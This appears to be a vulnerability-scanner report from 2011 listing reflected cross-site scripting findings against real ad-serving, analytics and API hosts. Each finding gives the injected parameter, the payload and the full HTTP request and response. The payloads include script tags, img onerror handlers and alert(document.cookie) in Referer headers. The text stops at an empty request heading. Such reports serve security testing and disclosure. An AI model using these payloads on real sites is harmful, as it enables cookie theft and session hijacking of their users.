GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,439209f765"-alert(1)-"eb22a847e48&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929627468_58541793_as2104_imp|285#1295929627468_58541793_as2104_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:07 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:06 GMT Content-Length: 18383
The value of the Values request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45923"><script>alert(1)</script>d2ae93715fd was submitted in the Values parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,4392045923"><script>alert(1)</script>d2ae93715fd&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929627376_58541639_as2105_imp|285#1295929627376_58541639_as2105_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:07 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:07 GMT Connection: close
The value of the adId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25b73"><script>alert(1)</script>1b3a06602a6 was submitted in the adId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_73691725b73"><script>alert(1)</script>1b3a06602a6&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929622400_58540479_as2106_imp|285#1295929622400_58540479_as2106_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:02 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:01 GMT Content-Length: 19124
The value of the adId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffbe3"%3balert(1)//c59190afeff was submitted in the adId parameter. This input was echoed as ffbe3";alert(1)//c59190afeff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917ffbe3"%3balert(1)//c59190afeff&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929622479_58477101_as2109_imp|285#1295929622479_58477101_as2109_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:02 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:02 GMT Content-Length: 18342
4.26. http://adserver.teracent.net/tase/ad [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.teracent.net
Path:
/tase/ad
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6f79"><script>alert(1)</script>36adda61ff3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect=&f6f79"><script>alert(1)</script>36adda61ff3=1 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929629211_58540734_as2106_imp|285#1295929629211_58540734_as2106_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:09 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:08 GMT Content-Length: 19300
4.27. http://adserver.teracent.net/tase/ad [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.teracent.net
Path:
/tase/ad
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c3ae"-alert(1)-"9e56efdf5e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect=&4c3ae"-alert(1)-"9e56efdf5e=1 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929629285_58665968_as2101_imp|285#1295929629285_58665968_as2101_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:09 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:08 GMT Content-Length: 18662
The value of the rcu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cbcfe"-alert(1)-"4a1deec2b00 was submitted in the rcu parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=clickcbcfe"-alert(1)-"4a1deec2b00&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929623767_58540794_as2107_imp|285#1295929623767_58540794_as2107_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:03 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:03 GMT Content-Length: 18395
The value of the rcu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c96b6"><script>alert(1)</script>bc28d8f1d07 was submitted in the rcu parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=clickc96b6"><script>alert(1)</script>bc28d8f1d07&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929623686_58666888_as2102_imp|285#1295929623686_58666888_as2102_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:03 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:03 GMT Content-Length: 18578
The value of the method request parameter is copied into the HTML document as plain text between tags. The payload d8b18<img%20src%3da%20onerror%3dalert(1)>a927144b444 was submitted in the method parameter. This input was echoed as d8b18<img src=a onerror=alert(1)>a927144b444 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /restserver.php?format=json&method=links.getStatsd8b18<img%20src%3da%20onerror%3dalert(1)>a927144b444&urls=http%253A%252F%252Fstarscene.dailystar.com.lb%252Fmusic-scenea960d%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C%252Fscript%25253Eb7d5247b69c%252F2010%252F11%252Fpianist-geoffrey-saba-performs-at-aubs-assembly-hall%252Fx22&callback=aptureJsonCallback0 HTTP/1.1 Host: api.facebook.com Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dla2day.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fwww.la2day.com%252Fcustom%252Fterm%252Fhealth_beauty9c672%252522%25253E%25253Cimg%252520src%25253da%252520onerror%25253dalert%2528document.cookie%2529%25253Ebcac4069246%252F576%26extra_2%3DUS; wd=300x250
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Content-Type: text/javascript;charset=utf-8 Expires: Sat, 01 Jan 2000 00:00:00 GMT Pragma: no-cache X-Cnection: close Date: Mon, 24 Jan 2011 21:59:38 GMT Content-Length: 486
The value of the urls request parameter is copied into the HTML document as plain text between tags. The payload 3c957<img%20src%3da%20onerror%3dalert(1)>bc6796fcbae was submitted in the urls parameter. This input was echoed as 3c957<img src=a onerror=alert(1)>bc6796fcbae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /restserver.php?format=json&method=links.getStats&urls=http%253A%252F%252Fstarscene.dailystar.com.lb%252Fmusic-scenea960d%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C%252Fscript%25253Eb7d5247b69c%252F2010%252F11%252Fpianist-geoffrey-saba-performs-at-aubs-assembly-hall%252Fx223c957<img%20src%3da%20onerror%3dalert(1)>bc6796fcbae&callback=aptureJsonCallback0 HTTP/1.1 Host: api.facebook.com Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dla2day.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fwww.la2day.com%252Fcustom%252Fterm%252Fhealth_beauty9c672%252522%25253E%25253Cimg%252520src%25253da%252520onerror%25253dalert%2528document.cookie%2529%25253Ebcac4069246%252F576%26extra_2%3DUS; wd=300x250
Response
HTTP/1.1 200 OK Cache-Control: public, max-age=120 Content-Type: text/javascript;charset=utf-8 Expires: Mon, 24 Jan 2011 14:02:02 -0800 Pragma: X-Cnection: close Date: Mon, 24 Jan 2011 22:00:02 GMT Content-Length: 644
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 71bc0<script>alert(1)</script>955adaf598b was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /url_info.jsonc?url=http%3A%2F%2Fstarscene.dailystar.com.lb%2Fmusic-scenea960d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eb7d5247b69c%2F2010%2F11%2Fpianist-geoffrey-saba-performs-at-aubs-assembly-hall%2Fx22&callback=aptureJsonCallback171bc0<script>alert(1)</script>955adaf598b HTTP/1.1 Host: api.tweetmeme.com Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Mon, 24 Jan 2011 21:58:59 GMT Content-Type: text/html Connection: close P3P: CP="CAO PSA" X-RateLimit-Limit: 400 X-RateLimit-Remaining: 377 X-Served-By: h03 Content-Length: 117
aptureJsonCallback171bc0<script>alert(1)</script>955adaf598b({"status":"failure","comment":"unable to resolve URL"});
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload e2e0e<script>alert(1)</script>1600fae3df4 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /m2/autotrader/mbox/standard?mboxHost=www.autotrader.com&mboxSession=1295921983404-727382&mboxPage=1295921983404-727382&screenHeight=1200&screenWidth=1920&browserWidth=1155&browserHeight=1012&browserTimeOffset=-360&colorDepth=16&mboxCount=1&page=%2Findex.jsp&mbox=global_csse2e0e<script>alert(1)</script>1600fae3df4&mboxId=0&mboxTime=1295900383412&mboxURL=http%3A%2F%2Fwww.autotrader.com%2F%3Fbc4cb%2522%253balert(document.cookie)%2F%2F1ee177b82c%3D1&mboxReferrer=http%3A%2F%2Fburp%2Fshow%2F55&mboxVersion=39 HTTP/1.1 Host: autotrader.tt.omtrdc.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 206 Date: Tue, 25 Jan 2011 04:30:42 GMT Server: Test & Target
The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload d1e99<script>alert(1)</script>017bbe15adf was submitted in the c1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=8d1e99<script>alert(1)</script>017bbe15adf&c2=3005693&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c5=&c6=&c10=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Tue, 01 Feb 2011 04:27:32 GMT Date: Tue, 25 Jan 2011 04:27:32 GMT Connection: close Content-Length: 3605
The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload cf572<script>alert(1)</script>be998e59288 was submitted in the c10 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
